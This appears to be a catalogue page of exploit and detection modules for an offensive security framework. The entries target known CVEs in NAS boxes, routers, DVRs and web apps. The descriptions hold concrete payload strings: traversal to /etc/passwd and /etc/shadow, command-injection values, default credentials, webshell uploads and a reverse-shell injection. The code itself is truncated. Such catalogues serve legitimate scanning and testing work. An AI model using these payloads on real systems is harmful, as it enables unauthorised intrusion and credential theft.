Apache Axis2 - xsd Path Traversal Detection

Detects Axis2 service ?xsd=../conf/axis2.xml traversal by matching axisconfig AxisJava2.0 in the response. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Axis2 ?xsd= path traversal to axis2.xml.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

FreeSWITCH - /api/system Command Execution (CVE-2018-19911)

Exploits CVE-2018-19911 by passing OS commands to /api/system/?. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """FreeSWITCH /api/system RCE CVE-2018-19911 — opens execute session.""" import re from urllib.parse import quote from kittysploit import from...

CCTV DVR - Cross Web Server Language RCE Detection

Detects Cross Web Server DVR command injection via /language/Swedish$IFS&&echo and verifying written test file under /mnt/mtd/test. !/usr/bin/env python3 -- coding: utf-8 -- """Multiple CCTV DVR Cross Web Server language path RCE.""" from kittysploit import from lib.protocols.http.httpclient impo...

FreeNAS - exec_raw.php RCE (CVE-2010-20059)

Exploits CVE-2010-20059 via /execraw.php?cmd= and opens an execute session. !/usr/bin/env python3 -- coding: utf-8 -- """FreeNAS execraw.php RCE CVE-2010-20059.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

tcPbX - tcpbx_lang LFI Detection

Detects tcPbX LFI via Cookie tcpbxlang=../../../../etc/passwd%00 on /tcpbx/. !/usr/bin/env python3 -- coding: utf-8 -- """tcPbX tcpbxlang cookie local file inclusion.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

ASUSTOR ADM - aggrecate_js.cgi RCE (CVE-2018-11510)

Exploits command injection in ASUSTOR ADM aggrecatejs.cgi script=launcher parameter. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """ASUSTOR ADM aggrecatejs.cgi RCE CVE-2018-11510 — opens execute session.""" import re from urllib.parse import quote from...

QNAP - pingping.cgi RCE Detection (CVE-2013-0143)

Detects CVE-2013-0143 by requesting /cgi-bin/pingping.cgi?pingip=1;id; with Basic guest:guest or without auth. !/usr/bin/env python3 -- coding: utf-8 -- """QNAP pingping.cgi command injection CVE-2013-0143.""" import base64 import re from kittysploit import from lib.protocols.http.httpclient impo...

CaupoShop - template LFI Detection (CVE-2011-4832)

Detects CVE-2011-4832 via index.php?action=template&template=../../../../../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-4832 via index.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: in...

Jenkins - Default Credentials Detection

Tries known Jenkins default credentials admin:password, admin:admin, admin:jenkins, jenkins:jenkins against jspringsecuritycheck / jacegisecuritycheck and verifies Dashboard access. !/usr/bin/env python3 -- coding: utf-8 -- """Jenkins default credentials detection admin/password, admin/admin,...

PHPUnit - eval-stdin.php RCE (CVE-2017-9841)

Exploits CVE-2017-9841 by POSTing PHP to eval-stdin.php. Opens an interactive execute session via shellexec. !/usr/bin/env python3 -- coding: utf-8 -- """PHPUnit eval-stdin.php unauthenticated RCE CVE-2017-9841 — opens execute session.""" import base64 from kittysploit import from...

Dahua Devices - Path Traversal Account Dump (CVE-2024-13130)

Exploits path traversal to ../mtd/Config/Sha1Account1 or Account1 on Dahua and OEM devices, leaking SerialID and Password hashes. !/usr/bin/env python3 -- coding: utf-8 -- """Dahua/OEM path traversal to account config CVE-2024-13130.""" from kittysploit import from lib.protocols.http.httpclient...

Apache HTTPD - Optionsbleed Detection (CVE-2017-9798)

Detects CVE-2017-9798 by sending repeated OPTIONS requests and looking for malformed Allow headers double commas / numeric garbage. !/usr/bin/env python3 -- coding: utf-8 -- """Apache OPTIONS Allow header memory leak / Optionsbleed CVE-2017-9798.""" import re from kittysploit import from...

AWStats - Config File Disclosure Detection (CVE-2020-29600/35176)

Detects AWStats file/config disclosure by requesting awstats.pl?config=/etc/passwd and awstats.pl?config=passwd and looking for AWStats syntax-error warnings that echo the path CVE-2020-29600 / CVE-2020-35176. !/usr/bin/env python3 -- coding: utf-8 -- """AWStats config file disclosure...

Miele PST10 - Directory Traversal Detection (CVE-2017-7240)

Detects CVE-2017-7240 on Miele PST10 WebServer by requesting /../../../../../../../../etc/shadow. !/usr/bin/env python3 -- coding: utf-8 -- """Miele Professional PG 8528 PST10 directory traversal CVE-2017-7240.""" import re from kittysploit import from lib.protocols.http.httpclient import...

D-Link DAP-2020 - webproc File Read Detection (CVE-2021-27250)

Detects CVE-2021-27250 by POSTing to /cgi-bin/webproc with errorpage=/etc/passwd and looking for passwd contents in the response. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DAP-2020 webproc errorpage path traversal CVE-2021-27250.""" import re from kittysploit import from...

D-Link DNS-320 - system_mgr.cgi RCE Detection (CVE-2020-25506)

Detects CVE-2020-25506 by injecting a command via /cgi-bin/systemmgr.cgi?cmd=cgintptime&fntpserver=cmd, writing output under /cgi-bin/.txt and reading it back. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DNS-320 systemmgr.cgi NTP command injection CVE-2020-25506.""" import re import secre...

GPON Home Router - Diag Form RCE Detection (CVE-2018-10561)

Detects CVE-2018-10561/10562 by injecting a non-existent command via diag ping and checking diag.html for shell error or BusyBox overwrite. !/usr/bin/env python3 -- coding: utf-8 -- """GPON Home Router diagnostic form command injection CVE-2018-10561/10562.""" import time from kittysploit import...

Seagate BlackArmor NAS 220 - localJob.php Command Injection

Exploits command injection in /backupmgt/localJob.php on Seagate BlackArmor NAS 220 by appending OS commands after session=fail and reading stdout from /backupmgt/. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Seagate BlackArmor NAS 220 backupmgt localJob.php...

AWStats - Config Path Traversal Detection (CVE-2017-1000501)

Detects CVE-2017-1000501 by requesting awstats.pl?config=../../../../../etc/passwd and matching AWStats syntax-error markers that include the traversed path. !/usr/bin/env python3 -- coding: utf-8 -- """AWStats config path traversal CVE-2017-1000501.""" from kittysploit import from...

MyBB - Compromised Package Backdoor Detection (CVE-2011-10018)

Detects CVE-2011-10018 by sending Cookie collapsed=...|phpinfo? and matching phpinfo title. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-10018 by sending Cookie collapsed=.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

MantisBT - Default Credentials Detection

Tries the known MantisBT default credentials administrator:root against /login.php and looks for MANTISSTRINGCOOKIE / logincookietest redirect. !/usr/bin/env python3 -- coding: utf-8 -- """MantisBT default credentials administrator/root.""" from kittysploit import from lib.protocols.http.httpclie...

Play Framework - public Path Traversal File Read

Reads arbitrary files via Play Framework /public/..%2f traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via Play Framework /public/.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi class...

Elasticsearch - Groovy Script RCE (CVE-2015-1427)

Exploits CVE-2015-1427 Groovy scriptfields RCE on Elasticsearch /search. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Elasticsearch Groovy RCE CVE-2015-1427 — opens execute session.""" import json import re from kittysploit import from...

Apache Tomcat - PUT JSP Upload RCE (CVE-2017-12617)

Uploads a JSP webshell via Tomcat PUT trailing-slash bypass CVE-2017-12615/12617 and opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Tomcat PUT JSP upload RCE CVE-2017-12617 — opens execute session.""" import re from kittysploit import from...

D-Link DNS - login_mgr.cgi Auth Bypass Detection

Detects D-Link DNS authentication bypass via /cgi-bin/loginmgr.cgi?cmd=login&username=root&pwd= empty password. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DNS devices loginmgr.cgi authentication bypass.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

PHP Utility Belt - ajax.php RCE Detection

Detects PHP Utility Belt RCE by writing info.php via ajax.php code= parameter and verifying phpinfo output. !/usr/bin/env python3 -- coding: utf-8 -- """PHP Utility Belt ajax.php code execution.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

ZYCOO IP Phone - system_cmd.cgi RCE

Exploits ZYCOO /cgi-bin/systemcmd.cgi?cmd= command injection. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """ZYCOO IP Phone System systemcmd.cgi RCE — opens execute session.""" import re from urllib.parse import quote from kittysploit import from...

Redis - Lua Sandbox Escape Detection (CVE-2022-0543)

Detects CVE-2022-0543 on Debian/Ubuntu-packaged Redis by EVAL-loading liblua5.1 via package.loadlib and executing id/cat via io.popen. !/usr/bin/env python3 -- coding: utf-8 -- """Redis Lua sandbox escape RCE on Debian/Ubuntu packages CVE-2022-0543.""" import socket from kittysploit import from...

Home Assistant - Supervisor Auth Bypass Detection (CVE-2023-27482)

Home Assistant supervised installs are vulnerable to authentication bypass via path traversal under /api/hassio/app/ and /api/hassioingress/ CVE-2023-27482, exposing supervisor/core info without credentials. !/usr/bin/env python3 -- coding: utf-8 -- """Home Assistant Supervisor authentication...

OpenSMTPD - Unauthenticated RCE via MAIL FROM (CVE-2020-7247)

Exploits OpenSMTPD CVE-2020-7247 Qualys by injecting a shell via a crafted MAIL FROM address, then delivering a reverse CMD payload in the message DATA. Waits for a reverse shell session. !/usr/bin/env python3 -- coding: utf-8 -- """OpenSMTPD unauthenticated RCE via MAIL FROM injection...

OpenSMTPD - MAIL FROM Command Injection Detection (CVE-2020-7247)

Detects OpenSMTPD CVE-2020-7247 by sending a crafted MAIL FROM address containing shell metacharacters MAIL FROM: and checking whether the server accepts it with a 250 Ok response. !/usr/bin/env python3 -- coding: utf-8 -- """OpenSMTPD MAIL FROM command injection CVE-2020-7247.""" import secrets...

Bash Shellshock - HTTP CGI RCE (CVE-2014-6271)

Exploits Shellshock via User-Agent injection against a CGI path. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Bash Shellshock HTTP CGI RCE CVE-2014-6271 — opens execute session.""" import re from kittysploit import from lib.protocols.http.httpclient import...

Drupal - SA-CORE-2014-005 SQLi Detection (CVE-2014-3704)

Detects Drupageddon CVE-2014-3704 by POSTing crafted name0; SELECT ... to the login form and matching mbstrlen warning. !/usr/bin/env python3 -- coding: utf-8 -- """Drupal 7.x SA-CORE-2014-005 SQLi detection CVE-2014-3704.""" from kittysploit import from lib.protocols.http.httpclient import...

Apache ActiveMQ - Double-Slash Source Disclosure Detection (CVE-2010-1587)

Detects CVE-2010-1587 by requesting //admin/queues.jsp and matching the raw JSP expression $sessionScope"secret" in the response body. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-1587 by requesting //admin/queues.""" import re from kittysploit import from...

FreeNAS - exec_raw.php RCE Detection (CVE-2010-20059)

Detects CVE-2010-20059 by requesting /execraw.php?cmd=id and matching uid=. !/usr/bin/env python3 -- coding: utf-8 -- """FreeNAS execraw.php RCE CVE-2010-20059.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name'...

Pulse CMS - p Parameter LFI Detection (CVE-2010-4330)

Detects CVE-2010-4330 via index.php??p=../../../../etc/passwd%00. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-4330 via index.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Pulse CMS - p...

Sierra Wireless AceManager - Log Disclosure Detection (CVE-2015-6479)

Detects CVE-2015-6479 by requesting /filteredlogs.txt and matching ALEOS log markers. !/usr/bin/env python3 -- coding: utf-8 -- """Sierra Wireless AceManager filteredlogs.txt disclosure CVE-2015-6479.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

OSSIM - repository/download.php LFI Detection

Detects OSSIM LFI via repository/download.php?file=../../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Detects OSSIM LFI via repository/download.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

nostromo nhttpd - Directory Traversal Detection (CVE-2011-0751)

Detects CVE-2011-0751 by requesting /..%2f..%2f..%2f..%2f..%2fetc/passwd and matching root:x:0:0. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-0751 by requesting /.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

ZeroShell - kerbynet LFI Detection

Detects ZeroShell 2.0RC2 LFI via /cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """ZeroShell kerbynet local file inclusion / command chain.""" import re from kittysploit import from lib.protocols.http.httpclient import...

OmniPCX - masterCGI RCE Detection (CVE-2007-3010)

Detects CVE-2007-3010 by requesting /cgi-bin/masterCGI?ping=nomip&user=;id;. !/usr/bin/env python3 -- coding: utf-8 -- """Alcatel-Lucent OmniPCX masterCGI RCE CVE-2007-3010.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient:...

Phpunity Newsmanager - tell.php LFI Detection (CVE-2010-0799)

Detects CVE-2010-0799 via misc/tellafriend/tell.php?id=../../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-0799 via misc/tellafriend/tell.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient:...

ManageEngine Desktop Central - FileUploadServlet Detection (CVE-2015-8249)

Detects CVE-2015-8249 by uploading a JSP via FileUploadServlet connectionId path traversal into jspf/ and verifying execution. !/usr/bin/env python3 -- coding: utf-8 -- """ManageEngine Desktop Central FileUploadServlet path traversal CVE-2015-8249.""" from kittysploit import from...

TerraMaster TOS - GetTest.php RCE Detection (CVE-2017-9328)

Detects CVE-2017-9328 by injecting a PHP webshell write via /include/ajax/GetTest.php and executing id. !/usr/bin/env python3 -- coding: utf-8 -- """TerraMaster TOS GetTest.php unauthenticated RCE CVE-2017-9328.""" import re from kittysploit import from lib.protocols.http.httpclient import...

TCExam - Unauthenticated File Upload RCE Detection (CVE-2010-2153)

Detects CVE-2010-2153 by uploading a phpinfo shell via tcefunctionstcecodeeditor.php. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-2153 by uploading a phpinfo shell via tcefunctionstcecodeeditor.""" import re from kittysploit import from lib.protocols.http.httpclient import...

QNAP Photo Station - Path Traversal Detection (CVE-2019-7192)

Detects QNAP Photo Station NAS-201911-25 CVE-2019-7192/7193/7194/7195 by creating a slideshow album, extracting access code, then reading /etc/passwd via /p/api/video.php filename traversal. !/usr/bin/env python3 -- coding: utf-8 -- """QNAP Photo Station album API path traversal...

D-Link/TOTOLINK - ExportSettings.sh Unauth Config Download

Various D-Link and TOTOLINK devices expose /cgi-bin/ExportSettings.sh without authentication, allowing download of device configuration backups CVE-2018-17786 / CVE-2022-32993 / CVE-2023-53896. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link / TOTOLINK unauthenticated ExportSettings.sh config...

NUUO NVR - Peekaboo Backdoor Detection (CVE-2018-1150)

Detects active NUUO Peekaboo backdoor /tmp/moses by requesting /usersxml.php unauthenticated and looking for AccountInfo XML CVE-2018-1150. !/usr/bin/env python3 -- coding: utf-8 -- """NUUO NVR Peekaboo backdoor active check CVE-2018-1150.""" from kittysploit import from...

ASUSTOR ADM - aggrecate_js.cgi RCE Detection (CVE-2018-11510)

Detects CVE-2018-11510 by injecting ls into /portal/apis/aggrecatejs.cgi?script=launcher"&CMD&" and matching directory listing. !/usr/bin/env python3 -- coding: utf-8 -- """ASUSTOR ADM aggrecatejs.cgi unauthenticated RCE CVE-2018-11510.""" import re from kittysploit import from...

Hastymail2 - rs=passthru RCE Detection (CVE-2011-4542)

Detects CVE-2011-4542 by POSTing rs=passthru&rsargs=asd&rsargs=id to mailbox Drafts. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-4542 by POSTing rs=passthru&rsargs=asd&rsargs=id to mailbox Drafts.""" import re from kittysploit import from lib.protocols.http.httpclient import...